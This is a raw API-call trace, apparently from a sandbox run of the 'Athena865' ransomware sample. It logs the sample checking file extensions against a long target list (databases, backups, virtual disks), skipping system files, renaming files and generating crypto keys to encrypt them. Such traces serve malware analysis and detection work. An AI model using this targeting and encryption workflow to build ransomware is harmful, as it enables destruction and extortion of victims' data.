lstrlenW (lpString="adn") returned 3 [0093.890] lstrcmpiW (lpString1="NSE", lpString2="adn") returned 1 [0093.890] lstrlenW (lpString="adp") returned 3 [0093.890] lstrcmpiW (lpString1="NSE", lpString2="adp") returned 1 [0093.890] lstrlenW (lpString="alf") returned 3 [0093.890] lstrcmpiW (lpString1="NSE", lpString2="alf") returned 1 [0093.890] lstrlenW (lpString="ask") returned 3 [0093.890] lstrcmpiW (lpString1="NSE", lpString2="ask") returned 1 [0093.890] lstrlenW (lpString="btr") returned 3 [0093.890] lstrcmpiW (lpString1="NSE", lpString2="btr") returned 1 [0093.890] lstrlenW (lpString="cat") returned 3 [0093.890] lstrcmpiW (lpString1="NSE", lpString2="cat") returned 1 [0093.890] lstrlenW (lpString="cdb") returned 3 [0093.890] lstrcmpiW (lpString1="NSE", lpString2="cdb") returned 1 [0093.890] lstrlenW (lpString="ckp") returned 3 [0093.890] lstrcmpiW (lpString1="NSE", lpString2="ckp") returned 1 [0093.890] lstrlenW (lpString="cma") returned 3 [0093.890] lstrcmpiW (lpString1="NSE", lpString2="cma") returned 1 [0093.890] lstrlenW (lpString="cpd") returned 3 [0093.890] lstrcmpiW (lpString1="NSE", lpString2="cpd") returned 1 [0093.890] lstrlenW (lpString="dacpac") returned 6 [0093.890] lstrcmpiW (lpString1="ICENSE", lpString2="dacpac") returned 1 [0093.890] lstrlenW (lpString="dad") returned 3 [0093.890] lstrcmpiW (lpString1="NSE", lpString2="dad") returned 1 [0093.890] lstrlenW (lpString="dadiagrams") returned 10 [0093.890] lstrlenW (lpString="daschema") returned 8 [0093.890] lstrlenW (lpString="db-journal") returned 10 [0093.891] lstrlenW (lpString="db-shm") returned 6 [0093.891] lstrcmpiW (lpString1="ICENSE", lpString2="db-shm") returned 1 [0093.891] lstrlenW (lpString="db-wal") returned 6 [0093.891] lstrcmpiW (lpString1="ICENSE", lpString2="db-wal") returned 1 [0093.891] lstrlenW (lpString="dbc") returned 3 [0093.891] lstrcmpiW (lpString1="NSE", lpString2="dbc") returned 1 [0093.891] lstrlenW (lpString="dbs") returned 3 [0093.891] lstrcmpiW (lpString1="NSE", lpString2="dbs") returned 1 [0093.891] lstrlenW (lpString="dbt") returned 3 [0093.891] lstrcmpiW (lpString1="NSE", lpString2="dbt") returned 1 [0093.891] lstrlenW (lpString="dbv") returned 3 [0093.891] lstrcmpiW (lpString1="NSE", lpString2="dbv") returned 1 [0093.891] lstrlenW (lpString="dbx") returned 3 [0093.891] lstrcmpiW (lpString1="NSE", lpString2="dbx") returned 1 [0093.891] lstrlenW (lpString="dcb") returned 3 [0093.891] lstrcmpiW (lpString1="NSE", lpString2="dcb") returned 1 [0093.891] lstrlenW (lpString="dct") returned 3 [0093.891] lstrcmpiW (lpString1="NSE", lpString2="dct") returned 1 [0093.891] lstrlenW (lpString="dcx") returned 3 [0093.891] lstrcmpiW (lpString1="NSE", lpString2="dcx") returned 1 [0093.891] lstrlenW (lpString="ddl") returned 3 [0093.891] lstrcmpiW (lpString1="NSE", lpString2="ddl") returned 1 [0093.891] lstrlenW (lpString="dlis") returned 4 [0093.891] lstrcmpiW (lpString1="ENSE", lpString2="dlis") returned 1 [0093.891] lstrlenW (lpString="dp1") returned 3 [0093.891] lstrcmpiW (lpString1="NSE", lpString2="dp1") returned 1 [0093.891] lstrlenW (lpString="dqy") returned 3 [0093.891] lstrcmpiW (lpString1="NSE", lpString2="dqy") returned 1 [0093.891] lstrlenW (lpString="dsk") returned 3 [0093.891] lstrcmpiW (lpString1="NSE", lpString2="dsk") returned 1 [0093.891] lstrlenW (lpString="dsn") returned 3 [0093.891] lstrcmpiW (lpString1="NSE", lpString2="dsn") returned 1 [0093.892] lstrlenW (lpString="dtsx") returned 4 [0093.892] lstrcmpiW (lpString1="ENSE", lpString2="dtsx") returned 1 [0093.892] lstrlenW (lpString="dxl") returned 3 [0093.892] lstrcmpiW (lpString1="NSE", lpString2="dxl") returned 1 [0093.892] lstrlenW (lpString="eco") returned 3 [0093.892] lstrcmpiW (lpString1="NSE", lpString2="eco") returned 1 [0093.892] lstrlenW (lpString="ecx") returned 3 [0093.892] lstrcmpiW (lpString1="NSE", lpString2="ecx") returned 1 [0093.892] lstrlenW (lpString="edb") returned 3 [0093.892] lstrcmpiW (lpString1="NSE", lpString2="edb") returned 1 [0093.892] lstrlenW (lpString="epim") returned 4 [0093.892] lstrcmpiW (lpString1="ENSE", lpString2="epim") returned -1 [0093.892] lstrlenW (lpString="fcd") returned 3 [0093.892] lstrcmpiW (lpString1="NSE", lpString2="fcd") returned 1 [0093.892] lstrlenW (lpString="fdb") returned 3 [0093.892] lstrcmpiW (lpString1="NSE", lpString2="fdb") returned 1 [0093.892] lstrlenW (lpString="fic") returned 3 [0093.892] lstrcmpiW (lpString1="NSE", lpString2="fic") returned 1 [0093.892] lstrlenW (lpString="flexolibrary") returned 12 [0093.892] lstrlenW (lpString="fm5") returned 3 [0093.892] lstrcmpiW (lpString1="NSE", lpString2="fm5") returned 1 [0093.892] lstrlenW (lpString="fmp") returned 3 [0093.892] lstrcmpiW (lpString1="NSE", lpString2="fmp") returned 1 [0093.892] lstrlenW (lpString="fmp12") returned 5 [0093.892] lstrcmpiW (lpString1="CENSE", lpString2="fmp12") returned -1 [0093.892] lstrlenW (lpString="fmpsl") returned 5 [0093.892] lstrcmpiW (lpString1="CENSE", lpString2="fmpsl") returned -1 [0093.892] lstrlenW (lpString="fol") returned 3 [0093.892] lstrcmpiW (lpString1="NSE", lpString2="fol") returned 1 [0093.892] lstrlenW (lpString="fp3") returned 3 [0093.892] lstrcmpiW (lpString1="NSE", lpString2="fp3") returned 1 [0093.892] lstrlenW (lpString="fp4") returned 3 [0093.893] lstrcmpiW (lpString1="NSE", lpString2="fp4") returned 1 [0093.893] lstrlenW (lpString="fp5") returned 3 [0093.893] lstrcmpiW (lpString1="NSE", lpString2="fp5") returned 1 [0093.893] lstrlenW (lpString="fp7") returned 3 [0093.893] lstrcmpiW (lpString1="NSE", lpString2="fp7") returned 1 [0093.893] lstrlenW (lpString="fpt") returned 3 [0093.893] lstrcmpiW (lpString1="NSE", lpString2="fpt") returned 1 [0093.893] lstrlenW (lpString="frm") returned 3 [0093.893] lstrcmpiW (lpString1="NSE", lpString2="frm") returned 1 [0093.893] lstrlenW (lpString="gdb") returned 3 [0093.893] lstrcmpiW (lpString1="NSE", lpString2="gdb") returned 1 [0093.893] lstrlenW (lpString="gdb") returned 3 [0093.893] lstrcmpiW (lpString1="NSE", lpString2="gdb") returned 1 [0093.893] lstrlenW (lpString="grdb") returned 4 [0093.893] lstrcmpiW (lpString1="ENSE", lpString2="grdb") returned -1 [0093.893] lstrlenW (lpString="gwi") returned 3 [0093.893] lstrcmpiW (lpString1="NSE", lpString2="gwi") returned 1 [0093.893] lstrlenW (lpString="hdb") returned 3 [0093.893] lstrcmpiW (lpString1="NSE", lpString2="hdb") returned 1 [0093.893] lstrlenW (lpString="his") returned 3 [0093.893] lstrcmpiW (lpString1="NSE", lpString2="his") returned 1 [0093.893] lstrlenW (lpString="ib") returned 2 [0093.893] lstrcmpiW (lpString1="SE", lpString2="ib") returned 1 [0093.893] lstrlenW (lpString="idb") returned 3 [0093.893] lstrcmpiW (lpString1="NSE", lpString2="idb") returned 1 [0093.893] lstrlenW (lpString="ihx") returned 3 [0093.893] lstrcmpiW (lpString1="NSE", lpString2="ihx") returned 1 [0093.893] lstrlenW (lpString="itdb") returned 4 [0093.893] lstrcmpiW (lpString1="ENSE", lpString2="itdb") returned -1 [0093.893] lstrlenW (lpString="itw") returned 3 [0093.893] lstrcmpiW (lpString1="NSE", lpString2="itw") returned 1 [0093.893] lstrlenW (lpString="jet") returned 3 [0093.894] lstrcmpiW (lpString1="NSE", lpString2="jet") returned 1 [0093.894] lstrlenW (lpString="jtx") returned 3 [0093.894] lstrcmpiW (lpString1="NSE", lpString2="jtx") returned 1 [0093.894] lstrlenW (lpString="kdb") returned 3 [0093.894] lstrcmpiW (lpString1="NSE", lpString2="kdb") returned 1 [0093.894] lstrlenW (lpString="kexi") returned 4 [0093.894] lstrcmpiW (lpString1="ENSE", lpString2="kexi") returned -1 [0093.894] lstrlenW (lpString="kexic") returned 5 [0093.894] lstrcmpiW (lpString1="CENSE", lpString2="kexic") returned -1 [0093.894] lstrlenW (lpString="kexis") returned 5 [0093.894] lstrcmpiW (lpString1="CENSE", lpString2="kexis") returned -1 [0093.894] lstrlenW (lpString="lgc") returned 3 [0093.894] lstrcmpiW (lpString1="NSE", lpString2="lgc") returned 1 [0093.894] lstrlenW (lpString="lwx") returned 3 [0093.894] lstrcmpiW (lpString1="NSE", lpString2="lwx") returned 1 [0093.894] lstrlenW (lpString="maf") returned 3 [0093.894] lstrcmpiW (lpString1="NSE", lpString2="maf") returned 1 [0093.894] lstrlenW (lpString="maq") returned 3 [0093.894] lstrcmpiW (lpString1="NSE", lpString2="maq") returned 1 [0093.894] lstrlenW (lpString="mar") returned 3 [0093.894] lstrcmpiW (lpString1="NSE", lpString2="mar") returned 1 [0093.894] lstrlenW (lpString="marshal") returned 7 [0093.894] lstrlenW (lpString="mas") returned 3 [0093.894] lstrcmpiW (lpString1="NSE", lpString2="mas") returned 1 [0093.894] lstrlenW (lpString="mav") returned 3 [0093.894] lstrcmpiW (lpString1="NSE", lpString2="mav") returned 1 [0093.894] lstrlenW (lpString="maw") returned 3 [0093.894] lstrcmpiW (lpString1="NSE", lpString2="maw") returned 1 [0093.894] lstrlenW (lpString="mdbhtml") returned 7 [0093.894] lstrlenW (lpString="mdn") returned 3 [0093.894] lstrcmpiW (lpString1="NSE", lpString2="mdn") returned 1 [0093.894] lstrlenW (lpString="mdt") returned 3 [0093.894] lstrcmpiW (lpString1="NSE", lpString2="mdt") returned 1 [0093.895] lstrlenW (lpString="mfd") returned 3 [0093.895] lstrcmpiW (lpString1="NSE", lpString2="mfd") returned 1 [0093.895] lstrlenW (lpString="mpd") returned 3 [0093.895] lstrcmpiW (lpString1="NSE", lpString2="mpd") returned 1 [0093.895] lstrlenW (lpString="mrg") returned 3 [0093.895] lstrcmpiW (lpString1="NSE", lpString2="mrg") returned 1 [0093.895] lstrlenW (lpString="mud") returned 3 [0093.895] lstrcmpiW (lpString1="NSE", lpString2="mud") returned 1 [0093.895] lstrlenW (lpString="mwb") returned 3 [0093.895] lstrcmpiW (lpString1="NSE", lpString2="mwb") returned 1 [0093.895] lstrlenW (lpString="myd") returned 3 [0093.895] lstrcmpiW (lpString1="NSE", lpString2="myd") returned 1 [0093.895] lstrlenW (lpString="ndf") returned 3 [0093.895] lstrcmpiW (lpString1="NSE", lpString2="ndf") returned 1 [0093.895] lstrlenW (lpString="nnt") returned 3 [0093.895] lstrcmpiW (lpString1="NSE", lpString2="nnt") returned 1 [0093.895] lstrlenW (lpString="nrmlib") returned 6 [0093.895] lstrcmpiW (lpString1="ICENSE", lpString2="nrmlib") returned -1 [0093.895] lstrlenW (lpString="ns2") returned 3 [0093.895] lstrcmpiW (lpString1="NSE", lpString2="ns2") returned 1 [0093.895] lstrlenW (lpString="ns3") returned 3 [0093.895] lstrcmpiW (lpString1="NSE", lpString2="ns3") returned 1 [0093.895] lstrlenW (lpString="ns4") returned 3 [0093.895] lstrcmpiW (lpString1="NSE", lpString2="ns4") returned 1 [0093.895] lstrlenW (lpString="nsf") returned 3 [0093.895] lstrcmpiW (lpString1="NSE", lpString2="nsf") returned -1 [0093.895] lstrlenW (lpString="nv") returned 2 [0093.895] lstrcmpiW (lpString1="SE", lpString2="nv") returned 1 [0093.895] lstrlenW (lpString="nv2") returned 3 [0093.895] lstrcmpiW (lpString1="NSE", lpString2="nv2") returned -1 [0093.895] lstrlenW (lpString="nwdb") returned 4 [0093.896] lstrcmpiW (lpString1="ENSE", lpString2="nwdb") returned -1 [0093.896] lstrlenW (lpString="nyf") returned 3 [0093.896] lstrcmpiW (lpString1="NSE", lpString2="nyf") returned -1 [0093.896] lstrlenW (lpString="odb") returned 3 [0093.896] lstrcmpiW (lpString1="NSE", lpString2="odb") returned -1 [0093.896] lstrlenW (lpString="odb") returned 3 [0093.896] lstrcmpiW (lpString1="NSE", lpString2="odb") returned -1 [0093.896] lstrlenW (lpString="oqy") returned 3 [0093.896] lstrcmpiW (lpString1="NSE", lpString2="oqy") returned -1 [0093.896] lstrlenW (lpString="ora") returned 3 [0093.896] lstrcmpiW (lpString1="NSE", lpString2="ora") returned -1 [0093.896] lstrlenW (lpString="orx") returned 3 [0093.896] lstrcmpiW (lpString1="NSE", lpString2="orx") returned -1 [0093.896] lstrlenW (lpString="owc") returned 3 [0093.896] lstrcmpiW (lpString1="NSE", lpString2="owc") returned -1 [0093.896] lstrlenW (lpString="p96") returned 3 [0093.896] lstrcmpiW (lpString1="NSE", lpString2="p96") returned -1 [0093.896] lstrlenW (lpString="p97") returned 3 [0093.896] lstrcmpiW (lpString1="NSE", lpString2="p97") returned -1 [0093.896] lstrlenW (lpString="pan") returned 3 [0093.896] lstrcmpiW (lpString1="NSE", lpString2="pan") returned -1 [0093.896] lstrlenW (lpString="pdb") returned 3 [0093.896] lstrcmpiW (lpString1="NSE", lpString2="pdb") returned -1 [0093.896] lstrlenW (lpString="pdm") returned 3 [0093.896] lstrcmpiW (lpString1="NSE", lpString2="pdm") returned -1 [0093.896] lstrlenW (lpString="pnz") returned 3 [0093.896] lstrcmpiW (lpString1="NSE", lpString2="pnz") returned -1 [0093.896] lstrlenW (lpString="qry") returned 3 [0093.896] lstrcmpiW (lpString1="NSE", lpString2="qry") returned -1 [0093.896] lstrlenW (lpString="qvd") returned 3 [0093.896] lstrcmpiW (lpString1="NSE", lpString2="qvd") returned -1 [0093.896] lstrlenW (lpString="rbf") returned 3 [0093.897] lstrcmpiW (lpString1="NSE", lpString2="rbf") returned -1 [0093.897] lstrlenW (lpString="rctd") returned 4 [0093.897] lstrcmpiW (lpString1="ENSE", lpString2="rctd") returned -1 [0093.897] lstrlenW (lpString="rod") returned 3 [0093.897] lstrcmpiW (lpString1="NSE", lpString2="rod") returned -1 [0093.897] lstrlenW (lpString="rodx") returned 4 [0093.897] lstrcmpiW (lpString1="ENSE", lpString2="rodx") returned -1 [0093.897] lstrlenW (lpString="rpd") returned 3 [0093.897] lstrcmpiW (lpString1="NSE", lpString2="rpd") returned -1 [0093.897] lstrlenW (lpString="rsd") returned 3 [0093.897] lstrcmpiW (lpString1="NSE", lpString2="rsd") returned -1 [0093.897] lstrlenW (lpString="sas7bdat") returned 8 [0093.897] lstrlenW (lpString="sbf") returned 3 [0093.897] lstrcmpiW (lpString1="NSE", lpString2="sbf") returned -1 [0093.897] lstrlenW (lpString="scx") returned 3 [0093.897] lstrcmpiW (lpString1="NSE", lpString2="scx") returned -1 [0093.897] lstrlenW (lpString="sdb") returned 3 [0093.897] lstrcmpiW (lpString1="NSE", lpString2="sdb") returned -1 [0093.897] lstrlenW (lpString="sdc") returned 3 [0093.897] lstrcmpiW (lpString1="NSE", lpString2="sdc") returned -1 [0093.897] lstrlenW (lpString="sdf") returned 3 [0093.897] lstrcmpiW (lpString1="NSE", lpString2="sdf") returned -1 [0093.897] lstrlenW (lpString="sis") returned 3 [0093.897] lstrcmpiW (lpString1="NSE", lpString2="sis") returned -1 [0093.897] lstrlenW (lpString="spq") returned 3 [0093.897] lstrcmpiW (lpString1="NSE", lpString2="spq") returned -1 [0093.897] lstrlenW (lpString="te") returned 2 [0093.897] lstrcmpiW (lpString1="SE", lpString2="te") returned -1 [0093.897] lstrlenW (lpString="teacher") returned 7 [0093.897] lstrlenW (lpString="tmd") returned 3 [0093.897] lstrcmpiW (lpString1="NSE", lpString2="tmd") returned -1 [0093.897] lstrlenW (lpString="tps") returned 3 [0093.897] lstrcmpiW (lpString1="NSE", lpString2="tps") returned -1 [0093.898] lstrlenW (lpString="trc") returned 3 [0093.898] lstrcmpiW (lpString1="NSE", lpString2="trc") returned -1 [0093.898] lstrlenW (lpString="trc") returned 3 [0093.898] lstrcmpiW (lpString1="NSE", lpString2="trc") returned -1 [0093.898] lstrlenW (lpString="trm") returned 3 [0093.898] lstrcmpiW (lpString1="NSE", lpString2="trm") returned -1 [0093.898] lstrlenW (lpString="udb") returned 3 [0093.898] lstrcmpiW (lpString1="NSE", lpString2="udb") returned -1 [0093.898] lstrlenW (lpString="udl") returned 3 [0093.898] lstrcmpiW (lpString1="NSE", lpString2="udl") returned -1 [0093.898] lstrlenW (lpString="usr") returned 3 [0093.898] lstrcmpiW (lpString1="NSE", lpString2="usr") returned -1 [0093.898] lstrlenW (lpString="v12") returned 3 [0093.898] lstrcmpiW (lpString1="NSE", lpString2="v12") returned -1 [0093.898] lstrlenW (lpString="vis") returned 3 [0093.898] lstrcmpiW (lpString1="NSE", lpString2="vis") returned -1 [0093.898] lstrlenW (lpString="vpd") returned 3 [0093.898] lstrcmpiW (lpString1="NSE", lpString2="vpd") returned -1 [0093.898] lstrlenW (lpString="vvv") returned 3 [0093.898] lstrcmpiW (lpString1="NSE", lpString2="vvv") returned -1 [0093.898] lstrlenW (lpString="wdb") returned 3 [0093.898] lstrcmpiW (lpString1="NSE", lpString2="wdb") returned -1 [0093.898] lstrlenW (lpString="wmdb") returned 4 [0093.899] lstrcmpiW (lpString1="ENSE", lpString2="wmdb") returned -1 [0093.900] lstrlenW (lpString="wrk") returned 3 [0093.900] lstrcmpiW (lpString1="NSE", lpString2="wrk") returned -1 [0093.900] lstrlenW (lpString="xdb") returned 3 [0093.900] lstrcmpiW (lpString1="NSE", lpString2="xdb") returned -1 [0093.900] lstrlenW (lpString="xld") returned 3 [0093.901] lstrcmpiW (lpString1="NSE", lpString2="xld") returned -1 [0093.901] lstrlenW (lpString="xmlff") returned 5 [0093.902] lstrcmpiW (lpString1="CENSE", lpString2="xmlff") returned -1 [0093.902] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Java\\jre7\\LICENSE.Athena865") returned 50 [0093.903] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\LICENSE" (normalized: "c:\\program files (x86)\\java\\jre7\\license"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\LICENSE.Athena865" (normalized: "c:\\program files (x86)\\java\\jre7\\license.athena865"), dwFlags=0x1) returned 1 [0093.905] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\LICENSE.Athena865" (normalized: "c:\\program files (x86)\\java\\jre7\\license.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0093.905] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=41) returned 1 [0093.905] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0093.905] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5392c0 [0093.905] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518d60 [0093.905] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518bc8) returned 1 [0093.906] CryptGenRandom (in: hProv=0x518bc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0093.906] CryptReleaseContext (hProv=0x518bc8, dwFlags=0x0) returned 1 [0093.906] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x330, lpName=0x0) returned 0x17c [0093.909] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x330) returned 0x100000 [0093.911] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518bc8) returned 1 [0093.912] CryptGenRandom (in: hProv=0x518bc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0093.912] CryptReleaseContext (hProv=0x518bc8, dwFlags=0x0) returned 1 [0093.912] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539338 [0093.912] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539338 | out: hHeap=0x4f0000) returned 1 [0093.912] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0093.913] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0093.913] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0093.913] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0093.913] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0093.913] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0093.913] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0093.913] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0093.913] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0093.913] CloseHandle (hObject=0x17c) returned 1 [0093.913] CloseHandle (hObject=0x154) returned 1 [0093.913] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5392c0 | out: hHeap=0x4f0000) returned 1 [0093.913] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518d60 | out: hHeap=0x4f0000) returned 1 [0093.913] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0093.913] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7438c420, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7438c420, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7438c420, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="README.txt", cAlternateFileName="")) returned 1 [0093.913] lstrcmpiW (lpString1="README.txt", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0093.913] lstrcmpiW (lpString1="README.txt", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0093.914] lstrcmpiW (lpString1="README.txt", lpString2=".") returned 1 [0093.914] lstrcmpiW (lpString1="README.txt", lpString2="..") returned 1 [0093.914] lstrcmpiW (lpString1="README.txt", lpString2="windows") returned -1 [0093.914] lstrcmpiW (lpString1="README.txt", lpString2="bootmgr") returned 1 [0093.914] lstrcmpiW (lpString1="README.txt", lpString2="temp") returned -1 [0093.914] lstrcmpiW (lpString1="README.txt", lpString2="pagefile.sys") returned 1 [0093.914] lstrcmpiW (lpString1="README.txt", lpString2="boot") returned 1 [0093.914] lstrcmpiW (lpString1="README.txt", lpString2="ids.txt") returned 1 [0093.914] lstrcmpiW (lpString1="README.txt", lpString2="ntuser.dat") returned 1 [0093.914] lstrcmpiW (lpString1="README.txt", lpString2="perflogs") returned 1 [0093.914] lstrcmpiW (lpString1="README.txt", lpString2="MSBuild") returned 1 [0093.914] lstrlenW (lpString="README.txt") returned 10 [0093.914] lstrcpyW (in: lpString1=0x241e88a, lpString2="README.txt" | out: lpString1="README.txt") returned="README.txt" [0093.914] lstrlenW (lpString="README.txt") returned 10 [0093.914] lstrlenW (lpString="Athena865") returned 9 [0093.914] lstrcmpiW (lpString1="EADME.txt", lpString2="Athena865") returned 1 [0093.914] lstrlenW (lpString=".dll") returned 4 [0093.914] lstrcmpiW (lpString1="README.txt", lpString2=".dll") returned 1 [0093.914] lstrlenW (lpString=".lnk") returned 4 [0093.914] lstrcmpiW (lpString1="README.txt", lpString2=".lnk") returned 1 [0093.914] lstrlenW (lpString=".ini") returned 4 [0093.914] lstrcmpiW (lpString1="README.txt", lpString2=".ini") returned 1 [0093.914] lstrlenW (lpString=".sys") returned 4 [0093.914] lstrcmpiW (lpString1="README.txt", lpString2=".sys") returned 1 [0093.914] lstrlenW (lpString="README.txt") returned 10 [0093.914] lstrlenW (lpString="bak") returned 3 [0093.914] lstrcmpiW (lpString1="txt", lpString2="bak") returned 1 [0093.914] lstrlenW (lpString="ba_") returned 3 [0093.914] lstrcmpiW (lpString1="txt", lpString2="ba_") returned 1 [0093.915] lstrlenW (lpString="dbb") returned 3 [0093.915] lstrcmpiW (lpString1="txt", lpString2="dbb") returned 1 [0093.915] lstrlenW (lpString="vmdk") returned 4 [0093.915] lstrcmpiW (lpString1=".txt", lpString2="vmdk") returned -1 [0093.915] lstrlenW (lpString="rar") returned 3 [0093.915] lstrcmpiW (lpString1="txt", lpString2="rar") returned 1 [0093.915] lstrlenW (lpString="zip") returned 3 [0093.915] lstrcmpiW (lpString1="txt", lpString2="zip") returned -1 [0093.915] lstrlenW (lpString="tgz") returned 3 [0093.915] lstrcmpiW (lpString1="txt", lpString2="tgz") returned 1 [0093.915] lstrlenW (lpString="vbox") returned 4 [0093.915] lstrcmpiW (lpString1=".txt", lpString2="vbox") returned -1 [0093.915] lstrlenW (lpString="vdi") returned 3 [0093.915] lstrcmpiW (lpString1="txt", lpString2="vdi") returned -1 [0093.915] lstrlenW (lpString="vhd") returned 3 [0093.915] lstrcmpiW (lpString1="txt", lpString2="vhd") returned -1 [0093.915] lstrlenW (lpString="vhdx") returned 4 [0093.915] lstrcmpiW (lpString1=".txt", lpString2="vhdx") returned -1 [0093.915] lstrlenW (lpString="avhd") returned 4 [0093.915] lstrcmpiW (lpString1=".txt", lpString2="avhd") returned -1 [0093.915] lstrlenW (lpString="db") returned 2 [0093.915] lstrcmpiW (lpString1="xt", lpString2="db") returned 1 [0093.915] lstrlenW (lpString="db2") returned 3 [0093.915] lstrcmpiW (lpString1="txt", lpString2="db2") returned 1 [0093.915] lstrlenW (lpString="db3") returned 3 [0093.915] lstrcmpiW (lpString1="txt", lpString2="db3") returned 1 [0093.915] lstrlenW (lpString="dbf") returned 3 [0093.915] lstrcmpiW (lpString1="txt", lpString2="dbf") returned 1 [0093.915] lstrlenW (lpString="mdf") returned 3 [0093.915] lstrcmpiW (lpString1="txt", lpString2="mdf") returned 1 [0093.915] lstrlenW (lpString="mdb") returned 3 [0093.915] lstrcmpiW (lpString1="txt", lpString2="mdb") returned 1 [0093.916] lstrlenW (lpString="sql") returned 3 [0093.916] lstrcmpiW (lpString1="txt", lpString2="sql") returned 1 [0093.916] lstrlenW (lpString="sqlite") returned 6 [0093.916] lstrcmpiW (lpString1="ME.txt", lpString2="sqlite") returned -1 [0093.916] lstrlenW (lpString="sqlite3") returned 7 [0093.916] lstrcmpiW (lpString1="DME.txt", lpString2="sqlite3") returned -1 [0093.916] lstrlenW (lpString="sqlitedb") returned 8 [0093.916] lstrcmpiW (lpString1="ADME.txt", lpString2="sqlitedb") returned -1 [0093.916] lstrlenW (lpString="xml") returned 3 [0093.916] lstrcmpiW (lpString1="txt", lpString2="xml") returned -1 [0093.916] lstrlenW (lpString="$er") returned 3 [0093.916] lstrcmpiW (lpString1="txt", lpString2="$er") returned 1 [0093.916] lstrlenW (lpString="4dd") returned 3 [0093.916] lstrcmpiW (lpString1="txt", lpString2="4dd") returned 1 [0093.916] lstrlenW (lpString="4dl") returned 3 [0093.916] lstrcmpiW (lpString1="txt", lpString2="4dl") returned 1 [0093.916] lstrlenW (lpString="^^^") returned 3 [0093.916] lstrcmpiW (lpString1="txt", lpString2="^^^") returned 1 [0093.916] lstrlenW (lpString="abs") returned 3 [0093.916] lstrcmpiW (lpString1="txt", lpString2="abs") returned 1 [0093.916] lstrlenW (lpString="abx") returned 3 [0093.916] lstrcmpiW (lpString1="txt", lpString2="abx") returned 1 [0093.916] lstrlenW (lpString="accdb") returned 5 [0093.916] lstrcmpiW (lpString1="E.txt", lpString2="accdb") returned 1 [0093.916] lstrlenW (lpString="accdc") returned 5 [0093.916] lstrcmpiW (lpString1="E.txt", lpString2="accdc") returned 1 [0093.916] lstrlenW (lpString="accde") returned 5 [0093.916] lstrcmpiW (lpString1="E.txt", lpString2="accde") returned 1 [0093.916] lstrlenW (lpString="accdr") returned 5 [0093.916] lstrcmpiW (lpString1="E.txt", lpString2="accdr") returned 1 [0093.916] lstrlenW (lpString="accdt") returned 5 [0093.916] lstrcmpiW (lpString1="E.txt", lpString2="accdt") returned 1 [0093.916] lstrlenW (lpString="accdw") returned 5 [0093.917] lstrcmpiW (lpString1="E.txt", lpString2="accdw") returned 1 [0093.917] lstrlenW (lpString="accft") returned 5 [0093.917] lstrcmpiW (lpString1="E.txt", lpString2="accft") returned 1 [0093.917] lstrlenW (lpString="adb") returned 3 [0093.917] lstrcmpiW (lpString1="txt", lpString2="adb") returned 1 [0093.917] lstrlenW (lpString="adb") returned 3 [0093.917] lstrcmpiW (lpString1="txt", lpString2="adb") returned 1 [0093.917] lstrlenW (lpString="ade") returned 3 [0093.917] lstrcmpiW (lpString1="txt", lpString2="ade") returned 1 [0093.917] lstrlenW (lpString="adf") returned 3 